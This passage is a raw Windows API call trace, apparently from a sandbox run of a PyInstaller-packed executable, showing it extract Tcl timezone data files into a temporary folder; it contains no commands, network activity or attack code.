dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.287] GetFileType (hFile=0x10c) returned 0x1 [0043.287] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.287] CloseHandle (hObject=0x10c) returned 1 [0043.287] GetLastError () returned 0x0 [0043.287] SetLastError (dwErrCode=0x0) [0043.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.287] GetFileType (hFile=0x10c) returned 0x1 [0043.287] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.287] CloseHandle (hObject=0x10c) returned 1 [0043.288] GetLastError () returned 0x0 [0043.288] SetLastError (dwErrCode=0x0) [0043.288] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.288] GetFileType (hFile=0x10c) returned 0x1 [0043.288] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.288] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.288] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.288] CloseHandle (hObject=0x10c) returned 1 [0043.288] GetLastError () returned 0x0 [0043.288] SetLastError (dwErrCode=0x0) [0043.288] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tarawa") returned 71 [0043.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tarawa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\tarawa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.288] GetLastError () returned 0x2 [0043.288] SetLastError (dwErrCode=0x2) [0043.288] GetLastError () returned 0x2 [0043.288] SetLastError (dwErrCode=0x2) [0043.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tarawa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tarawa", lpFilePart=0x0) returned 0x46 [0043.288] GetLastError () returned 0x2 [0043.288] SetLastError (dwErrCode=0x2) [0043.288] GetLastError () returned 0x2 [0043.289] SetLastError (dwErrCode=0x2) [0043.289] GetLastError () returned 0x2 [0043.289] SetLastError (dwErrCode=0x2) [0043.289] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tarawa") returned 71 [0043.289] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tarawa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\tarawa"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.289] GetFileType (hFile=0x10c) returned 0x1 [0043.289] htonl (hostlong=0x93000000) returned 0x93 [0043.289] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.289] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x93, lpOverlapped=0x0) returned 1 [0043.290] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.290] CloseHandle (hObject=0x10c) returned 1 [0043.290] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.290] htonl (hostlong=0x30000000) returned 0x30 [0043.290] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.290] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.290] GetFileType (hFile=0x10c) returned 0x1 [0043.290] htonl (hostlong=0x2e255d00) returned 0x5d252e [0043.290] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d52e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.290] htonl (hostlong=0xcc000000) returned 0xcc [0043.290] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcc) returned 0x545ff8 [0043.291] htonl (hostlong=0xcc000000) returned 0xcc [0043.291] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.291] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.291] htonl (hostlong=0x7b010000) returned 0x17b [0043.291] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x17b) returned 0x550600 [0043.291] htonl (hostlong=0xcc000000) returned 0xcc [0043.291] htonl (hostlong=0x7b010000) returned 0x17b [0043.291] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.291] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.291] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545ff8 | out: hHeap=0x530000) returned 1 [0043.291] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.291] CloseHandle (hObject=0x10c) returned 1 [0043.291] GetLastError () returned 0x0 [0043.291] SetLastError (dwErrCode=0x0) [0043.291] GetLastError () returned 0x0 [0043.291] SetLastError (dwErrCode=0x0) [0043.291] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.291] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.291] GetFileType (hFile=0x10c) returned 0x1 [0043.291] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.291] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.291] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.291] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.291] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.291] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.291] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.291] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.291] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.292] CloseHandle (hObject=0x10c) returned 1 [0043.292] GetLastError () returned 0x0 [0043.292] SetLastError (dwErrCode=0x0) [0043.292] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.292] GetFileType (hFile=0x10c) returned 0x1 [0043.292] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.292] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.292] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.292] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.292] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.292] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.292] CloseHandle (hObject=0x10c) returned 1 [0043.292] GetLastError () returned 0x0 [0043.292] SetLastError (dwErrCode=0x0) [0043.292] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.292] GetFileType (hFile=0x10c) returned 0x1 [0043.292] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.292] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.292] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.293] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.293] CloseHandle (hObject=0x10c) returned 1 [0043.293] GetLastError () returned 0x0 [0043.293] SetLastError (dwErrCode=0x0) [0043.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tongatapu") returned 74 [0043.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tongatapu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\tongatapu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.293] GetLastError () returned 0x2 [0043.293] SetLastError (dwErrCode=0x2) [0043.293] GetLastError () returned 0x2 [0043.293] SetLastError (dwErrCode=0x2) [0043.293] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tongatapu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tongatapu", lpFilePart=0x0) returned 0x49 [0043.293] GetLastError () returned 0x2 [0043.293] SetLastError (dwErrCode=0x2) [0043.293] GetLastError () returned 0x2 [0043.293] SetLastError (dwErrCode=0x2) [0043.293] GetLastError () returned 0x2 [0043.293] SetLastError (dwErrCode=0x2) [0043.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tongatapu") returned 74 [0043.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tongatapu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\tongatapu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.294] GetFileType (hFile=0x10c) returned 0x1 [0043.294] htonl (hostlong=0x7b010000) returned 0x17b [0043.294] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.294] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x17b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x17b, lpOverlapped=0x0) returned 1 [0043.295] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.295] CloseHandle (hObject=0x10c) returned 1 [0043.295] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.295] htonl (hostlong=0x30000000) returned 0x30 [0043.295] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.295] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.295] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.295] GetFileType (hFile=0x10c) returned 0x1 [0043.295] htonl (hostlong=0xfa255d00) returned 0x5d25fa [0043.295] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d5fa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.295] htonl (hostlong=0x88000000) returned 0x88 [0043.295] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0043.295] htonl (hostlong=0x88000000) returned 0x88 [0043.295] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.295] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.295] htonl (hostlong=0xaf000000) returned 0xaf [0043.295] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x550600 [0043.295] htonl (hostlong=0x88000000) returned 0x88 [0043.295] htonl (hostlong=0xaf000000) returned 0xaf [0043.295] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.295] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.296] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.296] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.296] CloseHandle (hObject=0x10c) returned 1 [0043.296] GetLastError () returned 0x0 [0043.296] SetLastError (dwErrCode=0x0) [0043.296] GetLastError () returned 0x0 [0043.296] SetLastError (dwErrCode=0x0) [0043.296] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.296] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.296] GetFileType (hFile=0x10c) returned 0x1 [0043.296] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.296] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.296] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.296] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.296] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.296] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.296] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.296] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | 